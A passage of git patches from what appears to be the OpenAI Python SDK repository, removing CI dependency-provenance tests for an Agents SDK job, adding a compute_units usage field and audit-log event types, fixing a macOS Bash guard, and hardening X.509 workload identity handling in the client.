- monkeypatch.setenv("UV_TEST_LOG", str(log))
- monkeypatch.setenv("UV_TEST_REVIEWED_SOURCES", reviewed)
- monkeypatch.setenv("UV_TEST_REQUESTED_SOURCE", requested)
- monkeypatch.setenv("UV_NO_BUILD", "1")
-
- result = subprocess.run(["bash", "-e", "-c", script], cwd=tmp_path, capture_output=True, text=True, check=False)
- assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
- assert log.exists() is reaches_sync
- if reaches_sync:
- call = cast(dict[str, object], json.loads(log.read_text()))
- assert call["args"] == ["sync"]
- assert call["no_build"] is None
- assert set(cast(str, call["no_build_packages"]).split()) == {
- "aiohttp",
- "markupsafe",
- "pyyaml",
- "unreviewed-package",
- }
- assert set(cast(str, call["no_binary_packages"]).split()) == {"openai", "openai-agents", "evdev"}
- if not accepted:
- assert "--no-build-package" in result.stderr
-
-
-def test_agents_source_allowlist_uses_its_immutable_reviewed_checkout() -> None:
- workflow = (ROOT / ".github/workflows/detect-breaking-changes.yml").read_text()
- job = workflow.split("\n agents_sdk:\n", 1)[1]
- checkout = re.search(
- r"repository: openai/openai-agents-python\n(?P(?: [^\n]+\n)+)",
- job,
- )
- assert checkout is not None
- assert re.search(
- r"^ ref: 7e55afc9500d12937687988f1e91e900dcb4ad09$", checkout.group("inputs"), re.MULTILINE
- )
-
-
-def test_agents_type_checks_reuse_only_the_validated_preinstalled_environment() -> None:
- workflow = (ROOT / ".github/workflows/detect-breaking-changes.yml").read_text()
- job = workflow.split("\n agents_sdk:\n", 1)[1]
- checks = job.split(" - name: Run integration type checks\n", 1)[1]
- assert "UV_NO_SYNC: '1'" in checks
- assert "UV_NO_BINARY_PACKAGE: 'openai openai-agents'" in checks
- assert "reviewed_sources" not in checks
- assert checks.index("UV_NO_SYNC") < checks.index("run: make mypy")
- assert job.index('${reviewed_sources}" make sync') < job.index("UV_NO_SYNC")
-
-
-def test_agents_link_only_relocks_before_reviewed_source_distributions(
- tmp_path: Path, monkeypatch: pytest.MonkeyPatch
-) -> None:
- workflow = (ROOT / ".github/workflows/detect-breaking-changes.yml").read_text()
- job = workflow.split("\n agents_sdk:\n", 1)[1]
- link = job.split(" - name: Link to local SDK\n", 1)[1].split("\n - name:", 1)[0]
- match = re.search(r"^ run: (.+)$", link, re.MULTILINE)
- assert match is not None
- command = match.group(1)
- assert command == "uv add --no-sync ../openai-python"
- assert "UV_NO_BINARY_PACKAGE: 'openai openai-agents'" in link
- assert "aiohttp" not in link
- assert job.index(command) < job.index("Use only the immutable reviewed Agents source distributions")
- assert job.index("Use only the immutable reviewed Agents source distributions") < job.index("make sync")
-
- executable = tmp_path / "uv"
- uv = shutil.which("uv")
- if uv is not None:
- supported = subprocess.run([uv, "add", "--help"], capture_output=True, text=True, check=False)
- assert supported.returncode == 0, supported.stdout + supported.stderr
- assert "--no-sync" in supported.stdout
- assert "Avoid syncing the virtual environment" in supported.stdout
-
- executable.write_text(
- f"#!{sys.executable}\n"
- "import json, os, pathlib, sys\n"
- "root = pathlib.Path(os.environ['UV_TEST_ROOT'])\n"
- "if '--no-sync' not in sys.argv:\n"
- " (root / 'environment-synced').write_text('unreviewed install')\n"
- " raise SystemExit('unsafe environment sync before source validation')\n"
- "(root / 'relocked.json').write_text(json.dumps({'args': sys.argv[1:], "
- "'no_build': os.environ.get('UV_NO_BUILD'), "
- "'no_binary': os.environ.get('UV_NO_BINARY_PACKAGE')}))\n"
- )
- executable.chmod(0o755)
- monkeypatch.setenv("PATH", str(tmp_path) + os.pathsep + os.environ["PATH"])
- monkeypatch.setenv("UV_TEST_ROOT", str(tmp_path))
- monkeypatch.setenv("UV_NO_BUILD", "1")
- monkeypatch.setenv("UV_NO_BINARY_PACKAGE", "openai openai-agents")
- result = subprocess.run(["bash", "-e", "-c", command], cwd=tmp_path, capture_output=True, text=True, check=False)
- assert result.returncode == 0, result.stdout + result.stderr
- assert not (tmp_path / "environment-synced").exists()
- relocked = cast(dict[str, object], json.loads((tmp_path / "relocked.json").read_text()))
- assert relocked["args"] == ["add", "--no-sync", "../openai-python"]
- assert relocked["no_build"] == "1"
- assert relocked["no_binary"] == "openai openai-agents"
-
-
def test_explicit_root_build_keeps_every_public_dependency_source_build_disabled(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
) -> None:
@@ -1369,185 +1149,13 @@ def test_package_scoped_root_build_policy_rejects_real_external_source_distribut
assert "--no-build" in result.stderr
-@pytest.mark.parametrize(
- ("variant", "accepted"),
- [
- pytest.param("reviewed", True, id="trusted-agents-aiohttp-source"),
- pytest.param("version", False, id="agents-aiohttp-version-swapped"),
- pytest.param("wheel-upgrade", True, id="changed-reviewed-name-is-wheel-only-without-source-exemption"),
- pytest.param("wheel-url", False, id="changed-reviewed-name-rejects-nonpublic-wheel"),
- pytest.param("wheel-hash", False, id="changed-reviewed-name-rejects-invalid-wheel-hash"),
- pytest.param("wheel-sdist-url", False, id="changed-reviewed-name-rejects-nonpublic-source-artifact"),
- pytest.param("wheel-sdist-hash", False, id="changed-reviewed-name-rejects-invalid-source-hash"),
- pytest.param("removed", True, id="removed-reviewed-name-receives-no-source-exemption"),
- pytest.param("source", False, id="agents-aiohttp-private-registry"),
- pytest.param("url", False, id="agents-aiohttp-source-url-swapped"),
- pytest.param("hash", False, id="agents-aiohttp-source-hash-swapped"),
- pytest.param("duplicate", False, id="agents-aiohttp-canonical-name-collision"),
- pytest.param("trusted-hash", False, id="upstream-aiohttp-source-must-be-reviewed"),
- pytest.param("origin", False, id="agents-checkout-origin-must-be-trusted"),
- ],
-)
-@pytest.mark.parametrize("package", ["aiohttp", "markupsafe", "pyyaml", "evdev"])
-def test_agents_aiohttp_source_must_match_immutable_trusted_upstream(
- tmp_path: Path, variant: str, accepted: bool, package: str
-) -> None:
- workflow = (ROOT / ".github/workflows/detect-breaking-changes.yml").read_text()
- line = next(
- entry
- for entry in workflow.splitlines()
- if "python -c '" in entry and "Use only the immutable reviewed Agents source distributions" in entry
- )
- program = line.split("python -c '", 1)[1].rsplit("'", 1)[0]
- if sys.version_info < (3, 11):
- program = "import sys, tomli; sys.modules['tomllib'] = tomli; " + program
-
- reviewed = {
- "aiohttp": (
- "3.12.15",
- "9b/e7/d92a237d8802ca88483906c388f7c201bbe96cd80a165ffd0ac2f6a8d59f/aiohttp-3.12.15.tar.gz",
- "4fc61385e9c98d72fcdf47e6dd81833f47b2f77c114c29cd64a361be57a763a2",
- ),
- "markupsafe": (
- "3.0.2",
- "b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz",
- "ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0",
- ),
- "pyyaml": (
- "6.0.2",
- "54/ed/79a089b6be93607fa5cdaedf301d7dfb23af5f25c398d5ead2525b063e17/pyyaml-6.0.2.tar.gz",
- "d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e",
- ),
- "evdev": (
- "1.9.2",
- "63/fe/a17c106a1f4061ce83f04d14bcedcfb2c38c7793ea56bfb906a6fadae8cb/evdev-1.9.2.tar.gz",
- "5d3278892ce1f92a74d6bf888cc8525d9f68af85dbe336c95d1c87fb8f423069",
- ),
- }
- version, artifact_path, digest = reviewed[package]
- url = "https://files.pythonhosted.org/packages/" + artifact_path
- current_version = version
- current_url = url
- current_digest = digest
- current_registry = "https://pypi.org/simple"
- trusted_digest = digest
- origin = "https://github.com/openai/openai-agents-python.git"
- current_wheel_url: str | None = None
- current_wheel_digest = "c" * 64
- if variant == "version":
- current_version = "0.0.1"
- elif variant == "source":
- current_registry = "https://private.example/simple"
- elif variant in {"wheel-upgrade", "wheel-url", "wheel-hash", "wheel-sdist-url", "wheel-sdist-hash"}:
- current_version = "3.14.3" if package == "aiohttp" else "9.0.0"
- current_url = "https://files.pythonhosted.org/packages/aa/bb/" + package + "-" + current_version + ".tar.gz"
- current_digest = "a" * 64
- current_wheel_url = (
- "https://files.pythonhosted.org/packages/aa/bb/" + package + "-" + current_version + "-py3-none-any.whl"
- )
- if variant == "wheel-url":
- current_wheel_url = "https://private.example/packages/" + package + ".whl"
- if variant == "wheel-hash":
- current_wheel_digest = "invalid"
- if variant == "wheel-sdist-url":
- current_url = "https://private.example/packages/" + package + ".tar.gz"
- if variant == "wheel-sdist-hash":
- current_digest = "invalid"
- elif variant == "url":
- current_url = "https://unreviewed.example/packages/aiohttp.tar.gz"
- elif variant == "hash":
- current_digest = "b" * 64
- elif variant == "trusted-hash":
- current_digest = trusted_digest = "b" * 64
- elif variant == "origin":
- origin = "https://github.com/unreviewed/openai-agents-python.git"
-
- def lock(
- name: str,
- version: str,
- artifact_url: str,
- artifact_digest: str,
- registry: str,
- wheel_url: str | None = None,
- ) -> str:
- return (
- "[[package]]\nname = "
- + json.dumps(name)
- + "\nversion = "
- + json.dumps(version)
- + "\nsource = { registry = "
- + json.dumps(registry)
- + " }\nsdist = { url = "
- + json.dumps(artifact_url)
- + ', hash = "sha256:'
- + artifact_digest
- + '" }\n'
- + (
- "wheels = [{ url = " + json.dumps(wheel_url) + ', hash = "sha256:' + current_wheel_digest + '" }]\n'
- if wheel_url is not None
- else ""
- )
- )
-
- current_packages: list[str] = []
- trusted_packages: list[str] = []
- for name, (reviewed_version, reviewed_path, reviewed_digest) in reviewed.items():
- reviewed_url = "https://files.pythonhosted.org/packages/" + reviewed_path
- if name == package:
- if variant != "removed":
- current_packages.append(
- lock(name, current_version, current_url, current_digest, current_registry, current_wheel_url)
- )
- trusted_packages.append(
- lock(name, reviewed_version, reviewed_url, trusted_digest, "https://pypi.org/simple")
- )
- else:
- current_packages.append(
- lock(name, reviewed_version, reviewed_url, reviewed_digest, "https://pypi.org/simple")
- )
- trusted_packages.append(
- lock(name, reviewed_version, reviewed_url, reviewed_digest, "https://pypi.org/simple")
- )
- current = "\n".join(current_packages)
- if variant == "duplicate":
- current += "\n" + lock(package.upper(), current_version, current_url, current_digest, current_registry)
- (tmp_path / "uv.lock").write_text(current)
- (tmp_path / "upstream.lock").write_text("\n".join(trusted_packages))
- fake_git = tmp_path / "git"
- fake_git.write_text(
- f"#!{sys.executable}\n"
- "import pathlib, sys\n"
- f"root = pathlib.Path({str(tmp_path)!r})\n"
- f"origin = {origin!r}\n"
- "arguments = sys.argv[1:]\n"
- "if arguments == ['remote', 'get-url', 'origin']:\n"
- " print(origin)\n"
- "elif arguments == ['show', 'HEAD:uv.lock']:\n"
- " print((root / 'upstream.lock').read_text(), end='')\n"
- "else:\n"
- " raise SystemExit('Unexpected Agents checkout operation')\n"
- )
- fake_git.chmod(0o755)
- environment = dict(os.environ, PATH=str(tmp_path) + os.pathsep + os.environ["PATH"])
- result = subprocess.run(
- [sys.executable, "-c", program], cwd=tmp_path, env=environment, capture_output=True, text=True, check=False
- )
- assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
- if accepted:
- expected = set(reviewed)
- if variant in {"wheel-upgrade", "removed"}:
- expected.remove(package)
- assert set(result.stdout.split()) == expected
-
-
-@pytest.mark.parametrize("name", ["detect_breaking_changes", "agents_sdk"])
-def test_breaking_change_installers_validate_provenance_first(name: str) -> None:
+def test_breaking_change_installer_validates_provenance_first() -> None:
path = ROOT / ".github/workflows/detect-breaking-changes.yml"
if not path.exists():
pytest.skip("GitHub workflows are not included in source distributions")
match = re.search(
- rf"^ {name}:\n(?P.*?)(?=^ [\w-]+:\n|\Z)",
+ r"^ detect_breaking_changes:\n(?P.*?)(?=^ [\w-]+:\n|\Z)",
path.read_text(),
re.MULTILINE | re.DOTALL,
)
@@ -1561,10 +1169,6 @@ def test_breaking_change_installers_validate_provenance_first(name: str) -> None
workflow = (ROOT / ".github/workflows/ci.yml").read_text()
expected = next(line for line in workflow.splitlines() if "Use only the public PyPI registry" in line)
assert command == expected.split("python -I -c '", 1)[1].rsplit("'", 1)[0]
- if name == "agents_sdk":
- gate = job.split(" - name: Verify dependency source provenance before installing tools\n", 1)[1]
- gate = gate.split("\n - name:", 1)[0]
- assert "working-directory: openai-python" in gate
def test_security_dependency_policy_is_directly_testable_after_the_trusted_gate() -> None:
@@ -5048,16 +4652,6 @@ def test_routine_dependency_updates_preserve_lock_only_strategy() -> None:
security_dependency_floor_program()
-def test_agents_integration_selects_its_typechecking_runtime() -> None:
- path = ROOT / ".github/workflows/detect-breaking-changes.yml"
- if not path.exists():
- pytest.skip("GitHub workflows are not included in source distributions")
- integration = path.read_text().split("\n agents_sdk:\n", 1)[1]
- setup = integration.split(" - name: Set up uv\n", 1)[1].split("\n - name:", 1)[0]
- assert "working-directory: openai-python" in setup
- assert "python-version: '3.14'" in setup
-
-
@pytest.mark.parametrize("name", ["create-releases.yml", "publish-pypi.yml"])
def test_release_build_remains_separate_from_oidc_publish(name: str) -> None:
path = ROOT / ".github/workflows" / name
From 52421d197e96b4480fcc16e78345578996452c79 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 27 Aug 2026 17:44:50 +0000
Subject: [PATCH 078/341] feat(api): add compute_units to Responses and Chat
Completions usage (#3749)
Adds `compute_units` to Responses and Chat Completions usage.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 12 +++++-----
api_reference/openapi.transformed.yml | 23 +++++++++++++++++++
.../admin/organization/audit_logs.py | 4 ++++
.../organization/audit_log_list_params.py | 2 ++
.../organization/audit_log_list_response.py | 2 ++
src/openai/types/beta/beta_response_usage.py | 5 ++++
src/openai/types/completion_usage.py | 3 +++
src/openai/types/responses/response_usage.py | 5 ++++
tests/lib/chat/test_completions.py | 6 +++++
tests/lib/chat/test_completions_streaming.py | 1 +
10 files changed, 57 insertions(+), 6 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index a72c5c1efb..881ff0abce 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: b67f6675-ad30-42fd-90ec-33d09485b9a0
-openapi_spec_hash: 32e9f9c8096eae027754def9afb89dc0
-openapi_transformed_spec_hash: a5861d7f7b67f6845c9499fdec7324a5
+generation_id: dd4c6a7b-158a-4b11-9b4a-128435aaa1f0
+openapi_spec_hash: 4af7018ff56446e0398fc7946a92680f
+openapi_transformed_spec_hash: b2689771e08c3fdc6ae8f0433dc2c784
config_hash: 5c00fe18ea913ed0186f9894adc02a70
-codegen_sha: 9177ce998eec68cf1d241f1efd84f8786eba92cd
-codegen_hash: 9271ebabb8723d763a7a728f3a455fb1ee4ea678e20885f891b50222f68d4def
-public_codegen_sha: 2951af18b699be3114ff5e6a3c7f7a669e7d5a76
+codegen_sha: 9bc71a62e18aa941ba073325f46e29ff05e1e90c
+codegen_hash: 803a072c019069cce4b17ef21da0980c4d6086b7ba935ff45b9d8b9f00d7acdd
+public_codegen_sha: 734497bdc1d37e9709c026b67eaec668fe37f753
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 556cdd2d9d..1c5a24fad5 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -28668,6 +28668,8 @@ components:
- tenant.admin_api_key.updated
- tenant.admin_api_key.deleted
- tenant.project_api_key.created
+ - tenant.trusted_access.business_verification.started
+ - tenant.trusted_access.application.submitted
- tenant.chatgpt_access_token.revoked
- tenant.migration.completed
- tenant.sso.migrated
@@ -30465,6 +30467,13 @@ components:
type: integer
default: 0
description: Total number of tokens used in the request (prompt + completion).
+ compute_units:
+ anyOf:
+ - type: integer
+ minimum: 0
+ - type: 'null'
+ description: |
+ Compute units for the request. Currently null when available.
completion_tokens_details:
type: object
description: Breakdown of tokens used in a completion.
@@ -54949,6 +54958,13 @@ components:
total_tokens:
type: integer
description: The total number of tokens used.
+ compute_units:
+ anyOf:
+ - type: integer
+ minimum: 0
+ - type: 'null'
+ description: |
+ Compute units for the request. Currently null when available.
required:
- input_tokens
- input_tokens_details
@@ -73838,6 +73854,13 @@ components:
total_tokens:
type: integer
description: The total number of tokens used.
+ compute_units:
+ anyOf:
+ - type: integer
+ minimum: 0
+ - type: 'null'
+ description: |
+ Compute units for the request. Currently null when available.
required:
- input_tokens
- input_tokens_details
diff --git a/src/openai/resources/admin/organization/audit_logs.py b/src/openai/resources/admin/organization/audit_logs.py
index d90442a107..51f4bed101 100644
--- a/src/openai/resources/admin/organization/audit_logs.py
+++ b/src/openai/resources/admin/organization/audit_logs.py
@@ -128,6 +128,8 @@ def list(
"tenant.admin_api_key.updated",
"tenant.admin_api_key.deleted",
"tenant.project_api_key.created",
+ "tenant.trusted_access.business_verification.started",
+ "tenant.trusted_access.application.submitted",
"tenant.chatgpt_access_token.revoked",
"tenant.migration.completed",
"tenant.sso.migrated",
@@ -395,6 +397,8 @@ def list(
"tenant.admin_api_key.updated",
"tenant.admin_api_key.deleted",
"tenant.project_api_key.created",
+ "tenant.trusted_access.business_verification.started",
+ "tenant.trusted_access.application.submitted",
"tenant.chatgpt_access_token.revoked",
"tenant.migration.completed",
"tenant.sso.migrated",
diff --git a/src/openai/types/admin/organization/audit_log_list_params.py b/src/openai/types/admin/organization/audit_log_list_params.py
index 23e343eec7..528eb9d9d8 100644
--- a/src/openai/types/admin/organization/audit_log_list_params.py
+++ b/src/openai/types/admin/organization/audit_log_list_params.py
@@ -118,6 +118,8 @@ class AuditLogListParams(TypedDict, total=False):
"tenant.admin_api_key.updated",
"tenant.admin_api_key.deleted",
"tenant.project_api_key.created",
+ "tenant.trusted_access.business_verification.started",
+ "tenant.trusted_access.application.submitted",
"tenant.chatgpt_access_token.revoked",
"tenant.migration.completed",
"tenant.sso.migrated",
diff --git a/src/openai/types/admin/organization/audit_log_list_response.py b/src/openai/types/admin/organization/audit_log_list_response.py
index d9f0712b9a..c78aaf27bd 100644
--- a/src/openai/types/admin/organization/audit_log_list_response.py
+++ b/src/openai/types/admin/organization/audit_log_list_response.py
@@ -1053,6 +1053,8 @@ class AuditLogListResponse(BaseModel):
"tenant.admin_api_key.updated",
"tenant.admin_api_key.deleted",
"tenant.project_api_key.created",
+ "tenant.trusted_access.business_verification.started",
+ "tenant.trusted_access.application.submitted",
"tenant.chatgpt_access_token.revoked",
"tenant.migration.completed",
"tenant.sso.migrated",
diff --git a/src/openai/types/beta/beta_response_usage.py b/src/openai/types/beta/beta_response_usage.py
index b96bde525d..f86c1839cf 100644
--- a/src/openai/types/beta/beta_response_usage.py
+++ b/src/openai/types/beta/beta_response_usage.py
@@ -1,5 +1,7 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from typing import Optional
+
from ..._models import BaseModel
__all__ = ["BetaResponseUsage", "InputTokensDetails", "OutputTokensDetails"]
@@ -45,3 +47,6 @@ class BetaResponseUsage(BaseModel):
total_tokens: int
"""The total number of tokens used."""
+
+ compute_units: Optional[int] = None
+ """Compute units for the request. Currently null when available."""
diff --git a/src/openai/types/completion_usage.py b/src/openai/types/completion_usage.py
index 73bd2bccaa..c69cc90cfb 100644
--- a/src/openai/types/completion_usage.py
+++ b/src/openai/types/completion_usage.py
@@ -68,5 +68,8 @@ class CompletionUsage(BaseModel):
completion_tokens_details: Optional[CompletionTokensDetails] = None
"""Breakdown of tokens used in a completion."""
+ compute_units: Optional[int] = None
+ """Compute units for the request. Currently null when available."""
+
prompt_tokens_details: Optional[PromptTokensDetails] = None
"""Breakdown of tokens used in the prompt."""
diff --git a/src/openai/types/responses/response_usage.py b/src/openai/types/responses/response_usage.py
index 355dd5d735..9ebaaeafaa 100644
--- a/src/openai/types/responses/response_usage.py
+++ b/src/openai/types/responses/response_usage.py
@@ -1,5 +1,7 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from typing import Optional
+
from ..._models import BaseModel
__all__ = ["ResponseUsage", "InputTokensDetails", "OutputTokensDetails"]
@@ -45,3 +47,6 @@ class ResponseUsage(BaseModel):
total_tokens: int
"""The total number of tokens used."""
+
+ compute_units: Optional[int] = None
+ """Compute units for the request. Currently null when available."""
diff --git a/tests/lib/chat/test_completions.py b/tests/lib/chat/test_completions.py
index e2447310f8..0d783b2ce9 100644
--- a/tests/lib/chat/test_completions.py
+++ b/tests/lib/chat/test_completions.py
@@ -86,6 +86,7 @@ def test_parse_nothing(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pyt
rejected_prediction_tokens=None,
text_tokens=None
),
+ compute_units=None,
prompt_tokens=14,
prompt_tokens_details=None,
total_tokens=51
@@ -158,6 +159,7 @@ class Location(BaseModel):
rejected_prediction_tokens=None,
text_tokens=None
),
+ compute_units=None,
prompt_tokens=79,
prompt_tokens_details=None,
total_tokens=93
@@ -232,6 +234,7 @@ class Location(BaseModel):
rejected_prediction_tokens=None,
text_tokens=None
),
+ compute_units=None,
prompt_tokens=88,
prompt_tokens_details=None,
total_tokens=102
@@ -441,6 +444,7 @@ class CalendarEvent:
rejected_prediction_tokens=None,
text_tokens=None
),
+ compute_units=None,
prompt_tokens=92,
prompt_tokens_details=None,
total_tokens=109
@@ -917,6 +921,7 @@ class Location(BaseModel):
rejected_prediction_tokens=None,
text_tokens=None
),
+ compute_units=None,
prompt_tokens=79,
prompt_tokens_details=None,
total_tokens=93
@@ -997,6 +1002,7 @@ class Location(BaseModel):
rejected_prediction_tokens=None,
text_tokens=None
),
+ compute_units=None,
prompt_tokens=79,
prompt_tokens_details=None,
total_tokens=93
diff --git a/tests/lib/chat/test_completions_streaming.py b/tests/lib/chat/test_completions_streaming.py
index 25d2942639..40b5a7a47c 100644
--- a/tests/lib/chat/test_completions_streaming.py
+++ b/tests/lib/chat/test_completions_streaming.py
@@ -175,6 +175,7 @@ def on_event(stream: ChatCompletionStream[Location], event: ChatCompletionStream
rejected_prediction_tokens=None,
text_tokens=None
),
+ compute_units=None,
prompt_tokens=79,
prompt_tokens_details=None,
total_tokens=93
From 550c7c165d23ebf2722261af79dbe4714dbff3fc Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 27 Aug 2026 17:45:40 +0000
Subject: [PATCH 079/341] ci: make dependency guards portable to macOS Bash
(#3751)
## Summary
Make the dependency workflow's guards behave consistently on macOS and
Linux so contributors can run the same checks locally that run in CI.
macOS ships Bash 3.2, which does not stop at a failed `[[ ... ]]` guard
just because `set -e` is enabled. This causes three existing rejection
tests to fail locally even though they pass on Linux. Exit explicitly
when a guard fails, keeping the accepted base SHAs and repository URLs
unchanged.
---
.github/workflows/ci.yml | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index a20614300b..d85bc1e060 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -47,9 +47,10 @@ jobs:
BASE_SHA: ${{ github.event.pull_request.base.sha }}
run: |
set -euo pipefail
- [[ "$BASE_SHA" =~ ^[0-9a-f]{40}$ ]]
+ # Bash 3.2 does not apply errexit to failed [[ ... ]] guards.
+ [[ "$BASE_SHA" =~ ^[0-9a-f]{40}$ ]] || exit 1
origin="$(git remote get-url origin)"
- [[ "$origin" == "https://github.com/openai/openai-python" || "$origin" == "https://github.com/openai/openai-python.git" ]]
+ [[ "$origin" == "https://github.com/openai/openai-python" || "$origin" == "https://github.com/openai/openai-python.git" ]] || exit 1
git fetch --no-tags --depth=1 origin "$BASE_SHA"
git show "$BASE_SHA:scripts/check-dependency-security.py" | python -I -
From fc3ad6c55a1a250e16707396e86d7373f690a0fc Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Thu, 27 Aug 2026 20:34:01 +0000
Subject: [PATCH 080/341] fix(auth): harden X.509 workload identity integration
(#3740)
## Summary
- Make X.509 workload identity consistent across synchronous and
asynchronous clients, supported data-residency regions, client copies,
and explicit authentication configuration.
- Preserve caller-owned HTTP clients, request hooks, custom HTTPS
origins and TLS configuration, retry behavior, token refresh, and
request replay compatibility.
- Add focused synchronous, asynchronous, concurrent, legacy-HTTPX, and
workload-identity regression coverage without changing the public API or
custom-code budget policy.
## Validation
- Full repository tests: **9,425 passed, 32 skipped**.
- Focused X.509 and compatibility tests: **340 passed, 2 skipped**.
- Legacy HTTPX compatibility tests: **137 passed**.
- Large-payload compatibility regression passed.
- Ruff, whole-repository pyright, and mypy across 1,576 files passed.
- Wheel and source distributions built successfully; package metadata
and Bedrock packaging validated.
- Existing custom-code budget passed: **6,574 / 10,000**.
---
src/openai/_client.py | 154 ++-
src/openai/auth/_x509.py | 189 +++-
.../test_x509_workload_identity_hardening.py | 961 ++++++++++++++++++
.../test_x509_workload_identity_transport.py | 422 ++++++++
4 files changed, 1684 insertions(+), 42 deletions(-)
create mode 100644 tests/test_x509_workload_identity_hardening.py
create mode 100644 tests/test_x509_workload_identity_transport.py
diff --git a/src/openai/_client.py b/src/openai/_client.py
index 9cf48b5d28..7e1daecae8 100644
--- a/src/openai/_client.py
+++ b/src/openai/_client.py
@@ -40,7 +40,9 @@
AsyncX509WorkloadIdentityAuth,
validate_x509_api_url,
is_x509_workload_identity,
+ x509_data_residency_base_url,
validate_x509_api_credentials,
+ x509_safe_environment_headers,
validate_x509_request_authority,
)
from ._exceptions import OpenAIError, APIStatusError
@@ -127,6 +129,8 @@ class OpenAI(SyncAPIClient):
_provider: _Provider | None
_provider_runtime: _ProviderRuntime | None
_base_url_was_default: bool
+ _data_residency: DataResidency | None
+ _ambient_authorizations: frozenset[str]
websocket_base_url: str | httpx2.URL | None
"""Base URL for WebSocket connections.
@@ -148,6 +152,7 @@ def base_url(self, url: httpx2.URL | str) -> None:
validate_x509_api_url(normalized_url)
self._base_url = self._enforce_trailing_slash(normalized_url)
self._base_url_was_default = False
+ self._data_residency = None
def __init__(
self,
@@ -197,6 +202,7 @@ def __init__(
base_url = resolve_data_residency(
data_residency, base_url, provider=provider, websocket_base_url=websocket_base_url
)
+ base_url = x509_data_residency_base_url(base_url, data_residency, workload_identity)
provider_runtime: _ProviderRuntime | None = None
if provider is not None:
provider_name = _provider_name(provider)
@@ -294,11 +300,13 @@ def __init__(
elif base_url is None:
base_url = os.environ.get("OPENAI_BASE_URL")
self._base_url_was_default = provider_runtime is None and base_url is None
+ self._data_residency = data_residency
if base_url is None:
base_url = MTLS_API_BASE_URL if x509_identity is not None else "https://api.openai.com/v1"
if x509_identity is not None:
validate_x509_api_url(base_url)
+ self._ambient_authorizations = frozenset()
custom_headers_env = os.environ.get("OPENAI_CUSTOM_HEADERS") if provider_runtime is None else None
if custom_headers_env is not None:
parsed: dict[str, str] = {}
@@ -306,7 +314,18 @@ def __init__(
colon = line.find(":")
if colon >= 0:
parsed[line[:colon].strip()] = line[colon + 1 :].strip()
- default_headers = {**parsed, **(default_headers if is_mapping_t(default_headers) else {})}
+ explicit_headers: Mapping[str, str] = default_headers if is_mapping_t(default_headers) else {}
+ explicit_authorization = any(name.lower() == "authorization" for name in explicit_headers)
+ if explicit_authorization:
+ parsed = {name: value for name, value in parsed.items() if name.lower() != "authorization"}
+ elif x509_identity is None:
+ self._ambient_authorizations = frozenset(
+ value for name, value in parsed.items() if name.lower() == "authorization"
+ )
+ default_headers = {
+ **x509_safe_environment_headers(parsed, x509_identity),
+ **explicit_headers,
+ }
super().__init__(
version=__version__,
@@ -523,7 +542,11 @@ def _send_with_auth_retry(
kwargs["follow_redirects"] = x509_auth._follow_redirects
authorization = request.headers.get("Authorization")
if authorization == f"Bearer {WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER}":
- used_access_token = x509_auth.get_token()
+ used_access_token = (
+ x509_auth.get_token_for_request(request)
+ if isinstance(x509_auth, SyncX509WorkloadIdentityAuth)
+ else x509_auth.get_token()
+ )
request.headers["Authorization"] = f"Bearer {used_access_token}"
request_is_replayable = x509_auth._can_retry_request(request)
@@ -690,7 +713,19 @@ def copy(
inherited_project = None if provider_changed else self.project
headers: Mapping[str, str] = {} if provider_changed else self._custom_headers
+ if (
+ is_x509_workload_identity(workload_identity)
+ and not is_x509_workload_identity(self.workload_identity)
+ and self._ambient_authorizations
+ ):
+ headers = {
+ name: value
+ for name, value in headers.items()
+ if name.lower() != "authorization" or value not in self._ambient_authorizations
+ }
if default_headers is not None:
+ if any(name.lower() == "authorization" for name in default_headers):
+ headers = {name: value for name, value in headers.items() if name.lower() != "authorization"}
headers = {**headers, **default_headers}
elif set_default_headers is not None:
headers = set_default_headers
@@ -704,9 +739,23 @@ def copy(
http_client = http_client or self._client
next_provider = self._provider if isinstance(provider, NotGiven) else provider
+ explicit_base_url = base_url is not None and not isinstance(base_url, NotGiven)
+ next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity
+ if api_key is not None and workload_identity is None:
+ next_workload_identity = None
+ current_x509 = is_x509_workload_identity(self.workload_identity)
+ next_x509 = is_x509_workload_identity(next_workload_identity)
+ mode_changed = current_x509 != next_x509
+ effective_data_residency = data_residency
+ if effective_data_residency is None and mode_changed and not explicit_base_url:
+ effective_data_residency = self._data_residency
base_url = resolve_data_residency(
- data_residency, base_url, provider=next_provider, websocket_base_url=websocket_base_url
+ effective_data_residency,
+ not_given if base_url is None and data_residency is None else base_url,
+ provider=next_provider,
+ websocket_base_url=websocket_base_url,
)
+ base_url = x509_data_residency_base_url(base_url, effective_data_residency, next_workload_identity)
preserve_default_base_url = False
auth_options: dict[str, Any]
if next_provider is not None:
@@ -725,12 +774,6 @@ def copy(
"base_url": base_url,
}
else:
- next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity
- if api_key is not None and workload_identity is None:
- next_workload_identity = None
- current_x509 = is_x509_workload_identity(self.workload_identity)
- next_x509 = is_x509_workload_identity(next_workload_identity)
- mode_changed = current_x509 != next_x509
inherited_base_url = None if mode_changed and self._base_url_was_default else self.base_url
